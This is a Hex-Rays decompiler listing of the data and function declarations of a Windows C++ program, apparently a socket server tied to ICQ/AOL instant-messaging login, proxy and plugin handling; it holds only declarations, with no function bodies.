/* This file has been generated by the Hex-Rays decompiler.
   Copyright (c) 2007 Hex-Rays sprl <info@hex-rays.com>

   Detected compiler: Visual C++
*/

#include <windows.h>
#include <defs.h>


//-------------------------------------------------------------------------
// Data declarations

extern _UNKNOWN loc_402780; // weak
extern _UNKNOWN loc_4029C0; // weak
extern _UNKNOWN loc_402CE0; // weak
extern _UNKNOWN loc_402F20; // weak
extern _UNKNOWN loc_405D90; // weak
extern _UNKNOWN loc_406780; // weak
extern _UNKNOWN loc_40A8E0; // weak
extern _UNKNOWN loc_40D6E0; // weak
extern _UNKNOWN loc_40EBF0; // weak
extern _UNKNOWN loc_41AAE0; // weak
extern _UNKNOWN loc_41AD80; // weak
extern int (*dword_421000)(void); // idb
extern int (__stdcall *dword_421004)(_DWORD, _DWORD, _DWORD); // idb
extern int (__stdcall *dword_421008)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // idb
extern int (__stdcall *dword_42100C)(_DWORD); // idb
extern int (__stdcall *dword_421010)(_DWORD); // idb
extern int (__stdcall *dword_421014)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // idb
extern int (*dword_421018)(void); // idb
extern int (__stdcall *dword_42101C)(_DWORD); // idb
extern int (__stdcall *dword_421020)(_DWORD); // idb
extern int (__thiscall *dword_421038)(_DWORD); // idb
extern int (__stdcall *dword_42103C)(_DWORD); // idb
// extern void *std__basic_ostream_char_std__char_traits_char_____vftable_; weak
// extern const __int64 std___BADOFF; weak
// extern void *commode; weak
// extern int fmode; idb
extern int *off_421270; // weak
extern char aAbcdefghijklmn[65]; // weak
extern char byte_4212B9[3]; // weak
extern int dword_4212BC; // weak
extern int dword_4212C0; // weak
extern char aStringTooLong[16]; // weak
extern char aInvalidStringP[24]; // weak
extern int (__stdcall *off_4212F0)(char); // weak
extern char aUnknown[8]; // weak
extern char aNone_0[5]; // weak
extern char aUnspecified[12]; // weak
extern char aFemale[7]; // weak
extern char aMale[5]; // weak
extern char aInvalidMapSetT[28]; // weak
extern char aMapSetTTooLong[20]; // weak
extern char aQuery[8]; // weak
extern char aQuery_0[9]; // weak
extern char aNotify[9]; // weak
extern char aNotify_0[10]; // weak
extern char aLtPluginidGt[17]; // weak
extern char aLtPluginidGt_0[18]; // weak
extern char aSrvmng[7]; // weak
extern char aNotifyLtSrvGtL[30]; // weak
extern char aLtIdGt[12]; // weak
extern char aCawaysrv[9]; // weak
extern char aLtReqGtLtIdGt[22]; // weak
extern char aAwaystat[9]; // weak
extern char aLtSenderidGt[17]; // weak
extern char aLtSenderidGt_0[18]; // weak
extern char aNr[5]; // weak
extern char aNr_0[6]; // weak
extern char aRes[6]; // weak
extern char aRes_0[7]; // weak
extern char aLtUinGt[12]; // weak
extern char aLtUinGt_0[13]; // weak
extern char aLtIndexGt[14]; // weak
extern char aLtIndexGt_0[15]; // weak
extern char aLtTitleGt[14]; // weak
extern char aLtTitleGt_0[15]; // weak
extern char aLtDescGt[13]; // weak
extern char aLtDescGt_0[14]; // weak
extern char aVectorTTooLong[19]; // weak
extern int (__stdcall *off_4214E8)(char); // weak
extern int (__stdcall *off_4214F8)(char); // weak
extern int (__stdcall *off_421508)(char); // weak
extern int (__stdcall *off_421510)(char); // weak
extern int (__stdcall *off_421518)(char); // weak
extern int dword_42151C[3]; // weak
extern char Format[]; // idb
extern char aWin32Build[]; // idb
extern int dword_421558; // weak
extern char byte_42155C; // weak
extern int dword_421560; // weak
extern char byte_421564; // weak
extern char aWsastartupFail[]; // idb
extern char aSocketFailedWi[32]; // weak
extern char aSetsockoptSo_r[48]; // weak
extern char aBindFailedWith[30]; // weak
extern char aListenFailedWi[32]; // weak
extern char aSocketError_Ex[]; // idb
extern char aMemoryAllocati[]; // idb
extern char aConnectFromSI[]; // idb
extern char aCreateThreadFa[]; // idb
extern char aFinishedServin[]; // idb
extern char aIncorrectPortN[]; // idb
extern char aUsageSPortPath[]; // idb
extern char a64_12_202_112[14]; // weak
extern char aU[]; // idb
extern char aNone[5]; // weak
extern char aIcqUinIsU[]; // idb
extern char aConnectFailedA[]; // idb
extern char aUnknownOpcodeU[]; // idb
extern char aNickSFirstname[]; // idb
extern char aErrorExpectedD[]; // idb
extern char aDisconnectFrom[]; // idb
extern char aThreadXUinURec[]; // idb
extern char Mode[]; // idb
extern char Filename[]; // idb
extern char aWb[]; // idb
extern char aCannotOpenTemp[]; // idb
extern wchar_t asc_42188C[2]; // weak
extern char aConnect[9]; // weak
extern char asc_42189C[3]; // weak
extern char aHost[7]; // weak
extern char aProxyAuthoriza[28]; // weak
extern char aHttp1_0200[14]; // weak
extern int (__stdcall *off_4218DC)(char); // weak
extern int (__stdcall *off_42191C)(char); // weak
extern int dword_421920; // weak
extern int dword_421928[]; // idb
extern char a0946134e4c7f11[39]; // weak
extern char aUnknown_0[9]; // weak
extern char aAolInstantMess[27]; // weak
extern char aEn[3]; // weak
extern char aUs[3]; // weak
extern char a0946134e4c7f_0[39]; // weak
extern int dword_421BBC; // weak
extern char aIncomigAutores[]; // idb
extern char aNrRes[10]; // weak
extern char aLtRetEventOnre[41]; // weak
extern char aLtSrvGt[12]; // weak
extern char aLtIdGtLtIdGt[22]; // weak
extern char aLtValSrv_idGtU[43]; // weak
extern char aLtSrvGt_0[13]; // weak
extern char aLtIdGtCawaysrv[30]; // weak
extern char aLtValSrv_idCaw[30]; // weak
extern char aLtRootGt[13]; // weak
extern char aLtCasxtrasetaw[60]; // weak
extern char aLtRootGt_0[14]; // weak
extern char aLtValGt[13]; // weak
extern char aLtIdGtCrandomi[36]; // weak
extern char aLtValSrv_idCra[57]; // weak
extern char aLtRetGt[13]; // weak
extern char aResNr[14]; // weak
extern char aScriptPlugInRe[43]; // weak
extern char aNQueryLtQGtLtP[209]; // weak
extern char aLtSenderidGtLt[55]; // weak
extern int (__stdcall *off_421EE4)(char); // weak
extern char dword_421F24[]; // idb
extern char Source[]; // idb
extern char aAuthRespOk[13]; // weak
extern int (__stdcall *off_421F5C)(char); // weak
extern int dword_4226DC[2]; // weak
extern int dword_422768[2]; // weak
extern int dword_4227C8; // weak
extern int dword_426018; // weak
extern int dword_42601C; // weak
extern int dword_426028; // weak
extern int dword_42602C; // weak
extern char aA[2]; // weak
extern int dword_426390; // weak
extern int dword_426394; // weak
extern int dword_426398; // weak
extern int dword_42639C; // weak
extern int dword_4263A0; // weak
extern int dword_4263A4; // weak
extern int dword_4263B0; // weak
extern int dword_4263B4; // weak
extern int dword_4263BC; // weak
extern int dword_426400; // weak
extern int dword_426408; // weak
extern __int16 word_426494; // weak
extern __int16 word_426498; // weak
extern __int16 word_42649C; // weak
extern __int16 word_4264A0; // weak
extern int dword_4264A4; // weak
extern int dword_4264A8; // weak
extern int dword_4264AC; // weak
extern int dword_4264B0; // weak
extern int dword_4264B4; // weak
extern int dword_4264B8; // weak
extern int dword_4264BC; // weak
extern int dword_4264C0; // weak
extern __int16 word_4264C4; // weak
extern int dword_4264C8; // weak
extern int dword_4264CC; // weak
extern __int16 word_4264D0; // weak
extern int dword_4266D4; // weak
extern int dword_4266D8; // weak
extern int dword_4266DC; // weak
extern int dword_4266E0; // weak
extern struct sockaddr name; // idb
extern int dword_4266F8[6]; // weak
extern struct sockaddr addr; // idb
extern void *Memory; // idb
extern int dword_426724; // weak
extern int total_sent; // weak
extern void *dword_42672C; // idb
extern void *dword_426730; // idb
extern struct WSAData stru_426738; // idb
extern int dword_4268C8; // weak
extern int dword_4268CC; // weak
extern int dword_4268D8; // weak
extern int dword_4268DC; // weak
extern int dword_4268E8; // weak
extern int dword_4268EC; // weak
extern int dword_4268F8; // weak
extern int dword_4268FC; // weak
extern int dword_426908; // weak
extern int dword_42690C; // weak
extern int dword_426918; // weak
extern int dword_42691C; // weak
extern int dword_426928; // weak
extern int dword_42692C; // weak
extern int dword_426938; // weak
extern int dword_42693C; // weak
extern int dword_426948; // weak
extern int dword_42694C; // weak
extern PVOID dword_426968; // idb
extern PVOID Ptr; // idb
extern _UNKNOWN sub_42A0E9;

//-------------------------------------------------------------------------
// Function declarations

#define __thiscall __cdecl // Test compile in C mode

int __thiscall sub_401010(int this, char a2);
// int __userpurge sub_401040<eax>(int a1<eax>, int a2, unsigned int a3);
// int __userpurge sub_4011A0<eax>(const void *a1<eax>, int a2);
// int __usercall sub_4011D0<eax>(char a1<bl>, int a2<esi>);
// int __usercall sub_401260<eax>(int result<eax>);
// int __userpurge sub_401270<eax>(int a1<ecx>, const void *a2<eax>, size_t Size); idb
// int __usercall setLoginHost<eax>(const void *a1<eax>, unsigned int a2<edi>, int a3<esi>);
// bool __userpurge sub_401460<eax>(int a1<eax>, void *Dst, char a3);
// int __userpurge sub_401510<eax>(size_t a1<eax>, int a2<esi>, int a3, unsigned int a4);
// int __userpurge sub_401600<eax>(int a1<ecx>, int a2<eax>, int a3<ebx>, int a4); idb
// void *__usercall sub_4016E0<eax>(int a1<eax>, int a2, void *Dst, size_t Size); idb
int __cdecl loc_4017B1(int, void *Dst, size_t Size); // weak
// int __usercall sub_401850<eax>(int a1<eax>, unsigned int a2<ecx>, int a3<esi>);
// int __usercall sub_401900<eax>(int a1<eax>, int a2<esi>);
// int __usercall sub_401930<eax>(const void *a1<eax>, int a2<ecx>);
// int __usercall sub_401970<eax>(int a1<esi>);
// int __usercall sub_4019A0<eax>(int a1<edi>, int a2<esi>);
// int __userpurge sub_401A20<eax>(int a1<ecx>, int a2<edi>, int a3<esi>, int a4, int a5);
int __stdcall sub_401AE0(int a1, int a2, int a3);
int __thiscall sub_401D70(int this, int a2);
int __thiscall sub_401DE0(int this, int a2);
int __thiscall sub_401E40(int this, int a2);
// int __usercall sub_401EA0<eax>(int result<eax>);
// int __usercall sub_401EC0<eax>(int result<eax>);
// int __usercall sub_401F10<eax>(unsigned int a1<eax>, int a2<edx>, int a3<ecx>);
_DWORD __stdcall sub_401F90(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, __int16); // weak
// char __userpurge sub_402030<al>(int a1<ebx>, SOCKET a2);
// char __userpurge sub_402180<al>(int a1<esi>, SOCKET a2);
// char __usercall sub_402260<al>(u_short **a1<eax>, int a2<ecx>);
// void *__usercall sub_402320<eax>(int a1<eax>, int a2<edi>);
// char __userpurge sub_4023B0<al>(int a1<eax>, int a2);
// void *__userpurge sub_4023E0<eax>(u_short a1<ax>, int a2);
// char __userpurge sub_402490<al>(int a1<eax>, int a2);
// void *__userpurge sub_4024C0<eax>(u_long a1<eax>, int a2);
int __thiscall sub_402570(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8);
// char __userpurge sub_402630<al>(int a1<eax>, int a2<ecx>, int a3);
int __thiscall sub_4026F0(int this, char a2);
int __fastcall sub_402740(int a1);
// int __usercall sub_402B70<eax>(int a1<eax>, __int16 a2<di>);
char __thiscall sub_402BB0(int this, int a2, int a3);
int __thiscall sub_402C00(int this, int a2, int a3);
// char __usercall sub_402C50<al>(int a1<eax>, int a2<ecx>);
int __thiscall sub_4030D0(int this, char a2);
int __fastcall sub_403140(int a1);
// char __userpurge sub_4031A0<al>(int a1<ebx>, int a2);
// char __usercall sub_4032A0<al>(int a1<eax>, int a2<ecx>);
int __thiscall sub_4033D0(int this, int a2);
// char __usercall sub_403600<al>(int a1<ebx>, int a2<esi>);
int __fastcall sub_403740(int a1, int a2);
// int __usercall sub_4039B0<eax>(int result<eax>);
// int __usercall sub_403A30<eax>(int a1<esi>);
char __fastcall sub_403B40(int a1, int a2, int a3);
char __stdcall sub_403E80(int a1);
char __fastcall sub_404100(int a1);
// char __userpurge sub_404350<al>(int a1<eax>, int a2<ecx>, size_t a3);
char __stdcall sub_404830(int a1, int a2);
int __thiscall sub_404A40(int this, int a2);
// char __usercall sub_404B60<al>(int a1<eax>, int a2<ebx>);
// int __usercall sub_404C00<eax>(int a1<esi>);
// char __userpurge sub_404C50<al>(int a1<ebx>, int a2, int a3);
// int __usercall sub_404E50<eax>(int a1<eax>, int a2<edi>);
// char __usercall sub_405240<al>(int a1<ecx>, int a2<esi>);
// char __usercall sub_405400<al>(int a1<edi>, int a2<esi>);
// char __usercall sub_405480<al>(int a1<eax>, int a2<edi>);
// int __userpurge sub_405510<eax>(int a1<eax>, int a2<ebx>, int a3<esi>, int a4);
int __fastcall sub_405540(int a1, int a2, int a3, int a4);
// int __usercall sub_405570<eax>(int a1<eax>, int a2<ecx>);
// void *__usercall sub_405670<eax>(unsigned int a1<eax>, int a2<esi>);
// int __usercall sub_4056D0<eax>(unsigned int a1<ecx>, int a2<edi>);
// int __userpurge sub_405790<eax>(int result<eax>, int a2);
// int __usercall sub_4058F0<eax>(int a1<ecx>, int a2<ebx>);
// int __userpurge sub_4059A0<eax>(int result<eax>, int a2, int a3, unsigned int a4);
// int __userpurge sub_405A50<eax>(int a1<ebx>, int a2, void *Dst, void *Src); idb
// char __usercall sub_405A90<al>(unsigned int a1<edi>, int a2<esi>);
// int __usercall sub_405AD0<eax>(int a1<eax>, int a2<ecx>);
// int __usercall sub_405B20<eax>(int a1<esi>);
int __stdcall sub_405B50(int a1, int a2, int a3, int a4);
// char __usercall sub_405BB0<al>(unsigned int a1<edi>, int a2<esi>);
unsigned int __fastcall sub_405BF0(int a1);
unsigned int __fastcall sub_405CA0(int a1);
// int __userpurge sub_405D20<eax>(int a1<esi>, unsigned int a2);
int __fastcall sub_405DA0(unsigned int a1);
unsigned int __thiscall sub_405DF0(int this, unsigned int a2);
int __fastcall sub_405EF0(unsigned int a1);
unsigned int __thiscall sub_405F50(int this, unsigned int a2);
int __fastcall sub_406060(unsigned int a1);
// int __userpurge sub_4060C0<eax>(int a1<edi>, int a2, int a3);
// char __usercall sub_406110<al>(int a1<ecx>, int a2<edi>);
// int __usercall sub_406170<eax>(int result<eax>, int a2<ecx>, int a3);
// int __usercall sub_4061B0<eax>(int result<eax>, int a2<ebx>);
int __thiscall sub_4061F0(int this, int a2);
// char __usercall sub_4062A0<al>(int a1<ecx>, int a2<edi>);
// int __usercall sub_406300<eax>(int result<eax>, int a2);
// int __userpurge sub_406390<eax>(int a1<edi>, int a2);
int __thiscall sub_406430(int this, int a2);
// int __usercall sub_406500<eax>(int a1<esi>);
int __thiscall sub_406530(int this, int a2, int a3);
int __thiscall sub_4065D0(int this, int a2, int a3);
int __thiscall sub_4066C0(int this, int a2, int a3, char *a4, char *a5, int a6);
int __cdecl sub_406980(int a1, int a2, int a3);
char *__stdcall sub_406A30(int a1, char *a2, char *a3, int a4);
// char __userpurge sub_406B00<al>(int a1<esi>, int a2);
_DWORD __stdcall sub_406BA0(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
// __int64 __usercall sub_406C80<edx:eax>(__int64 result<edx:eax>);
// int __userpurge sub_406CC0<eax>(int a1<esi>, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, unsigned int a14, int a15, int a16, __int16 a17, char a18, int a19, int a20);
// int __usercall sub_406DC0<eax>(int a1<eax>, int a2<edx>, int a3<esi>);
// int __usercall sub_406E00<eax>(int a1<eax>, int a2<edx>, int a3<esi>);
// int __usercall sub_406E40<eax>(int a1<eax>, int a2<edx>, int a3<esi>);
// int __usercall sub_406E80<eax>(int a1<esi>);
signed int __cdecl main(signed int a1, int a2);
int __stdcall Handle_connection(SOCKET *a1);
// int __usercall sub_4085A0<eax>(int a1<esi>);
// int __usercall sub_408640<eax>(int a1<edi>, int a2<esi>);
// int __userpurge sub_4086C0<eax>(int a1<edi>, int a2);
void __fastcall sub_408770(size_t a1);
// signed int __usercall recv_packet<eax>(char *buf<ecx>, int a2<edx>, SOCKET a3<esi>, __int32 a4); idb
int __cdecl sub_408AC0(_DWORD); // weak
// int __usercall sub_408B30<eax>(int a1<ebx>, const char *a2);
// int __userpurge sub_408B90<eax>(int a1<esi>, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, signed int a15, int a16, int a17, int a18, int a19, int a20, int a21, unsigned int a22, int a23);
// int __usercall sub_408D30<eax>(int a1<esi>);
signed int __thiscall sub_408DB0(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9);
// char __usercall sub_408E90<al>(int a1<edi>);
int __fastcall sub_408F70(int a1, int a2);
char __stdcall sub_409310(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7);
// char __usercall sub_409360<al>(int a1<ebx>);
int __stdcall sub_409540(int a1);
// int __usercall sub_4095F0<eax>(int a1<eax>, int a2<ecx>);
void __fastcall sub_409610(int a1);
signed int __thiscall sub_409680(int this, signed int a2);
signed int __thiscall sub_409850(int this, signed int a2);
signed int __fastcall sub_4098A0(int a1);
int __thiscall sub_409910(int this, int a2, __int64 a3, signed int a4, char a5);
int __thiscall sub_409AC0(int this, int a2, int a3, int a4, int a5, int a6, int a7, int a8, char a9);
int __thiscall sub_409BF0(int this, char a2);
int __thiscall sub_409C80(int this, char a2);
// int __userpurge sub_409CB0<eax>(int a1<ebx>, int a2);
int __stdcall sub_409E00(int a1);
int __cdecl sub_409E90(int a1, const char *a2);
// int (*__usercall sub_40A0B4<eax>(int a1<edx>, int a2<ebp>))();
int loc_40A0D5(); // weak
int __cdecl sub_40A0E0(int a1, int a2);
// int (*__usercall sub_40A2E5<eax>(int a1<ebp>))();
int loc_40A306(); // weak
int __cdecl sub_40A310(int a1, int a2);
// int __usercall sub_40A3D0<eax>(int a1<eax>, int a2<ecx>, int a3<ebx>);
int __cdecl sub_40A410(int a1, int a2);
// int __usercall sub_40A4D0<eax>(int a1<eax>, int a2<ecx>);
// __int64 __usercall sub_40A510<edx:eax>(__int64 result<edx:eax>);
int __thiscall sub_40A630(int this, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, signed int a15, int a16, int a17, int a18, int a19, int a20, int a21, unsigned int a22, int a23, int a24);
int __stdcall sub_40A720(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7, int a8, int a9, int a10, int a11, int a12, signed int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22);
int __stdcall sub_40A760(int a1, int a2, int a3, int a4, int a5, signed int a6, int a7, int a8, int a9, int a10, int a11, int a12, unsigned int a13, int a14);
int __stdcall sub_40A7A0(int a1, int a2, int a3, int a4, int a5, signed int a6, int a7, int a8, int a9, int a10, int a11, int a12, unsigned int a13, int a14, int a15);
int __stdcall sub_40A7E0(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7, int a8, int a9, int a10);
int __stdcall sub_40A800(int a1, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8);
int __stdcall sub_40A820(int a1, char a2);
int __thiscall sub_40AD60(int this, char a2);
int __stdcall sub_40AD90(int a1);
int __stdcall sub_40ADF0(int a1);
int __stdcall sub_40AE50(int a1);
int __fastcall sub_40AEB0(int a1);
char __fastcall sub_40B400(int a1);
char __thiscall sub_40B980(int this, int a2, int a3, int a4, int a5, int a6, int a7, int a8, u_short hostshort, int a10, char a11); // idb
char __thiscall sub_40C150(int this, int a2, int a3, int a4, int a5, int a6, int a7, signed int a8, int a9, int a10, int a11, int a12, int a13, int a14, unsigned int a15, int a16);
int __fastcall sub_40C200(int a1);
char __thiscall sub_40C250(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, int a9, int a10, int a11, int a12, size_t a13, signed int a14, int a15, int a16, int a17, signed int a18, __int16 a19, int a20, int a21, int a22, int a23);
char __fastcall sub_40C6A0(int a1, int a2, int a3, int a4, int a5, int a6, int a7, unsigned int a8, int a9, char a10);
// int __usercall sub_40C800<eax>(int a1<edi>, int a2<esi>);
// int __usercall sub_40C880<eax>(int a1<esi>);
// int __userpurge sub_40CA40<eax>(int a1<edi>, int a2);
_DWORD __stdcall sub_40CCC0(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
char __fastcall sub_40CE20(int a1, int a2, int a3, int a4, int a5, int a6, int a7, unsigned int a8, int a9);
// int __usercall sub_40D060<eax>(int a1<edi>, int a2<esi>);
// int __usercall sub_40D200<eax>(int a1<esi>);
_DWORD __stdcall sub_40D230(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak
char __stdcall sub_40D300(int a1, int a2, int a3, int a4, int a5, int a6, signed int a7, int a8, int a9, int a10, int a11, int a12, int a13, unsigned int a14, int a15, char a16);
signed int __thiscall sub_40D3E0(int this, int a2, int a3, int a4, int a5, unsigned int a6, unsigned int a7, int a8);
// signed int __usercall sub_40D4E0<eax>(__int16 a1<bx>, int a2<edi>);
// signed int __usercall sub_40D520<eax>(int a1<edx>, __int16 a2<si>);
char __stdcall sub_40D550(signed int a1, char a2);
char __stdcall sub_40D950(int a1);
char __fastcall sub_40EE70(int a1, int a2, int a3);
char __fastcall sub_40F060(int a1);
char __fastcall sub_40F160(int a1, int a2, int a3);
char __fastcall sub_40F200(int a1, int a2, int a3);
// char __usercall sub_40F280<al>(int a1<edi>);
char __fastcall sub_40F510(int a1, int a2, int a3);
char __fastcall sub_40F590(int a1, int a2, int a3);
char __fastcall sub_40F640(int a1);
char __fastcall sub_40F7C0(int a1, int a2, int a3);
char __fastcall sub_40F840(int a1, int a2, int a3);
char __thiscall sub_40F8C0(int this, int a2);
char __stdcall sub_410320(int a1, int a2, char a3);
char __stdcall sub_410570(int a1);
// signed int __userpurge sub_411A90<eax>(int a1<ebx>, char *name, int a3, int a4, int a5, int a6, int a7, int a8, u_short hostshort); idb
char __fastcall sub_411BE0(int a1);
// char __usercall sub_411D00<al>(int a1<edi>);
char __stdcall sub_411E10(int a1, int a2);
char __fastcall sub_411FF0(int a1, int a2, int a3);
char __fastcall sub_412170(int a1, int a2, int a3);
char __fastcall sub_4129E0(int a1, int a2, int a3, int a4, int a5);
// char __usercall sub_412C30<al>(int a1<edi>);
char __thiscall sub_412D10(int this, int a2);
signed int __fastcall sub_412EA0(int a1, int a2);
// int __usercall sub_4131D0<eax>(int a1<eax>, int a2<esi>);
// signed int __userpurge sub_413200<eax>(__int16 a1<dx>, int a2<ecx>, int a3<ebx>, __int16 a4, int a5);
// signed int __usercall sub_413400<eax>(int a1<edi>);
char __thiscall sub_413570(int this, void *Src, int a3, int a4, int a5, size_t Size, int a7, int a8, int a9, int a10, int a11, int a12, u_short hostshort, int a14, int a15, char a16); // idb
char __thiscall sub_4136D0(int this, void *Src, int a3, int a4, int a5, size_t Size, int a7, int a8, int a9, int a10, int a11, int a12, u_short hostshort, int a14, int a15); // idb
char __fastcall sub_413820(int a1, int a2, int a3); // idb
// char __userpurge sub_413E80<al>(int a1<ebx>, int a2, int a3);
// char __userpurge sub_413F00<al>(int a1<ebx>, int a2, int a3, int a4);
char __fastcall sub_413F90(int a1, int a2, int a3, int a4);
char __thiscall sub_4145B0(int this, int a2);
char __thiscall sub_414A20(int this, int a2);
char __fastcall sub_414D50(int a1, int a2, int a3, int a4, int a5);
char __fastcall sub_414E70(int a1, int a2, int a3);
char __thiscall sub_414FD0(int this, int a2, void *Src, int a4, int a5, int a6, size_t Size, int a8, int a9, char a10); // idb
char __thiscall sub_415420(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8, char a9);
char __thiscall sub_4156E0(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9); // idb
char __fastcall sub_4158A0(int a1, int a2, int a3, int a4);
// __int16 __usercall sub_415B20<ax>(int a1<ebx>);
// char __userpurge sub_415D00<al>(int a1<edx>, int a2<edi>, int a3);
char __thiscall sub_415DD0(int this, int a2, __int16 a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, unsigned int a16, int a17, __int16 a18, int a19, int a20, int a21, int a22, int a23, int a24, int a25, int a26, int a27, int a28, int a29, int a30, int a31, int a32, int a33, int a34, int a35, int a36, int a37, int a38, int a39, int a40, int a41, int a42, int a43, int a44, int a45, int a46, int a47, int a48, int a49, int a50, int a51, int a52, int a53, int a54, int a55, int a56, int a57, int a58, int a59, int a60, int a61, int a62, int a63);
char __thiscall sub_415FD0(int this, __int16 a2, int a3);
signed int __thiscall sub_416270(int this, int a2);
int __fastcall sub_416EF0(int a1, int a2, void *Src, int a4, int a5, int a6, size_t Size, int a8, int a9); // idb
char __fastcall sub_4173D0(int a1);
char __fastcall sub_417470(int a1);
char __fastcall sub_417510(int a1);
int __thiscall sub_4175B0(int this, int a2, int a3, int a4, int a5, int a6, unsigned int a7, int a8);
// int __usercall sub_4179C0<eax>(unsigned int a1<eax>, int a2<esi>);
// int __usercall sub_417A60<eax>(int a1<ecx>, int a2<ebx>);
// int __userpurge sub_417B10<eax>(int a1<edx>, int a2<ebx>, int a3, int a4);
// int __usercall sub_417BB0<eax>(int a1<ecx>, int a2<edi>);
int __fastcall sub_417C60(int a1, int a2);
// int __userpurge sub_417E40<eax>(int a1<eax>, int a2<edi>, int a3);
// int __usercall sub_417ED0<eax>(int a1<edi>);
// int __usercall sub_417F50<eax>(int a1<esi>);
// int __userpurge sub_4185C0<eax>(size_t a1<ebx>, int a2);
// int __usercall sub_418650<eax>(int result<eax>, int a2<edi>);
int __stdcall sub_418690(int a1, int a2, int a3, int a4);
int __fastcall sub_4186F0(int a1);
int __fastcall sub_418770(int a1);
// int __usercall sub_4187C0<eax>(int a1<eax>);
// char __usercall sub_418810<al>(int a1<eax>, int a2<edx>);
int __stdcall sub_418860(int a1);
// int __usercall sub_4188A0<eax>(int result<eax>);
int __thiscall sub_4188F0(int this, unsigned int a2);
int __thiscall sub_418A10(int this, unsigned int a2);
int __thiscall sub_418AF0(int this, unsigned int a2);
// int __userpurge sub_418BC0<eax>(int a1<esi>, unsigned int a2);
// int __userpurge sub_418C40<eax>(int a1<ecx>, int a2<edi>, int a3<esi>, int a4, int a5);
// int __userpurge sub_418D10<eax>(int a1<eax>, int a2);
// int __userpurge sub_418DA0<eax>(int a1<ecx>, int a2<edi>, int a3<esi>, int a4, int a5);
// int __userpurge sub_418E70<eax>(int a1<eax>, int a2<esi>, int a3, int a4);
// int __userpurge sub_418F10<eax>(int a1<edi>, int a2);
int __fastcall sub_419020(unsigned int a1);
int __fastcall sub_419080(unsigned int a1);
int __fastcall sub_4190E0(unsigned int a1);
int __fastcall sub_419140(unsigned int a1);
int __stdcall sub_4191A0(int a1, int a2, int a3);
int __stdcall sub_4194B0(int a1, int a2, int a3);
int __stdcall sub_4197C0(int a1, int a2, int a3);
int __thiscall sub_419A20(int this, int a2);
int __thiscall sub_419AA0(int this, int a2);
int __thiscall sub_419B00(int this, int a2);
// int __usercall sub_419B60<eax>(int result<eax>);
// int __usercall sub_419B80<eax>(int result<eax>);
int __thiscall sub_419BA0(int this, int a2);
int __thiscall sub_419C20(int this, int a2);
int __thiscall sub_419C80(int this, int a2);
// int __usercall sub_419CE0<eax>(int result<eax>);
// int __usercall sub_419D00<eax>(int result<eax>);
int __thiscall sub_419D20(int this, int a2);
int __thiscall sub_419D80(int this, int a2);
// int __usercall sub_419DE0<eax>(int result<eax>);
// int __usercall sub_419E00<eax>(int result<eax>);
// int __usercall sub_419E60<eax>(int result<eax>);
// char __usercall sub_419EC0<al>(int a1<eax>, int a2<edx>);
int __cdecl sub_419F10(int a1, int a2, int a3);
// int __usercall sub_419FD0<eax>(int a1<eax>, int a2<ecx>, int a3);
// int __usercall sub_41A020<eax>(int result<eax>, int a2<ebx>);
// int __userpurge sub_41A060<eax>(int a1<eax>, int a2<edi>, int a3<esi>, int a4);
// int __userpurge sub_41A1E0<eax>(int a1<esi>, int a2, int a3);
int __stdcall sub_41A2B0(int a1, int a2, int a3);
// int __userpurge sub_41A440<eax>(int a1<eax>, int a2<ecx>, int a3<ebx>, int a4, char a5);
// int __userpurge sub_41A6D0<eax>(int a1<ecx>, int a2<ebx>, int a3, char a4, int a5);
// int __usercall sub_41A8F0<eax>(int result<eax>);
// int __usercall sub_41A970<eax>(int result<eax>);
// int __userpurge sub_41A9D0<eax>(int result<eax>, int a2<esi>, int a3, void *Src, int a5); idb
int __fastcall sub_41AB50(int a1, void *a2, int a3, int a4, int a5);
// int __usercall sub_41ABC0<eax>(int a1<ecx>, int a2<edx>, int a3<eax>, int a4); idb
// int __usercall sub_41AE70<eax>(int result<eax>, int a2<edi>);
int __thiscall sub_41AEB0(int this, int a2, int a3);
int __thiscall sub_41AF50(int this, int a2, int a3);
// int __usercall sub_41B000<eax>(int result<eax>, int a2<edx>, int a3<ecx>);
// int __usercall sub_41B030<eax>(int a1<esi>);
// int __usercall sub_41B060<eax>(int a1<eax>, int a2);
// int __usercall sub_41B760<eax>(unsigned int a1<ecx>, int a2<esi>, int a3);
int __fastcall sub_41B890(int a1);
// signed int __usercall sub_41B9C0<eax>(signed int a1<eax>);
int __thiscall sub_41BA70(int this, char a2);
int __fastcall sub_41BB20(int a1);
int __stdcall sub_41BBB0(int a1, int a2, int a3, int a4, int a5, unsigned int a6, int a7, int a8);
void __thiscall sub_41BBD0(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15, int a16, int a17, int a18, int a19, int a20, int a21, int a22, int a23); // idb
void __thiscall sub_41BCB0(int this, char *Str, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12, int a13, int a14, int a15); // idb
